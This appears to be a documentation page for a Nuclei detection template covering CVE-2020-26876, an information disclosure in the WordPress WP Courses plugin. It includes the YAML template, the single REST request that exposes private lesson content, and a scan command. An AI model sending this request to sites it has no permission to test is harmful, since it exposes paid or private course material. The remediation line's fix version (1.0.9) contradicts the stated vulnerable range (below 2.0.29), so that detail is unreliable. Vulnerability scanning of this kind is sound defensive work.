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WordPress WP Courses Plugin Information Disclosure

ID: CVE-2020-26876

Severity: high

Author: dwisiswant0

Tags: cve,cve2020,wordpress,wp-plugin,exposure,edb,wpcoursesplugin

Description

Section titled “Description”

WordPress WP Courses Plugin < 2.0.29 contains a critical information disclosure which exposes private course videos and materials.

YAML Source

Section titled “YAML Source”
id: CVE-2020-26876


info:
  name: WordPress WP Courses Plugin Information Disclosure
  author: dwisiswant0
  severity: high
  description: WordPress WP Courses Plugin < 2.0.29 contains a critical information disclosure which exposes private course videos and materials.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information about the WordPress WP Courses Plugin.
  remediation: |
    Update to the latest version of the WordPress WP Courses Plugin (1.0.9) to fix the information disclosure vulnerability.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2020-26876
    - https://www.exploit-db.com/exploits/48910
    - https://www.redtimmy.com/critical-information-disclosure-on-wp-courses-plugin-exposes-private-course-videos-and-materials/
    - https://plugins.trac.wordpress.org/changeset/2388997
    - https://plugins.trac.wordpress.org/changeset/2389243
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-26876
    cwe-id: CWE-306
    epss-score: 0.01988
    epss-percentile: 0.8756
    cpe: cpe:2.3:a:wpcoursesplugin:wp-courses:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wpcoursesplugin
    product: wp-courses
    framework: wordpress
  tags: cve,cve2020,wordpress,wp-plugin,exposure,edb,wpcoursesplugin


http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/lesson/1"


    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"


      - type: regex
        part: body
        regex:
          - "rest_post_invalid_id"
          - "\"(guid|title|content|excerpt)\":{\"rendered\":"
        condition: or


      - type: status
        status:
          - 200
          - 404
        condition: or
# digest: 490a00463044022074e4f994e511c2ef52ad19b113f391b3e5bdea5bc29e3cd36ebed094d808efe10220320fa45b48b5d0e3dc8c2041b8885ccfbebf95f46b9c8bb983358c04c38a6707:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-26876.yaml"

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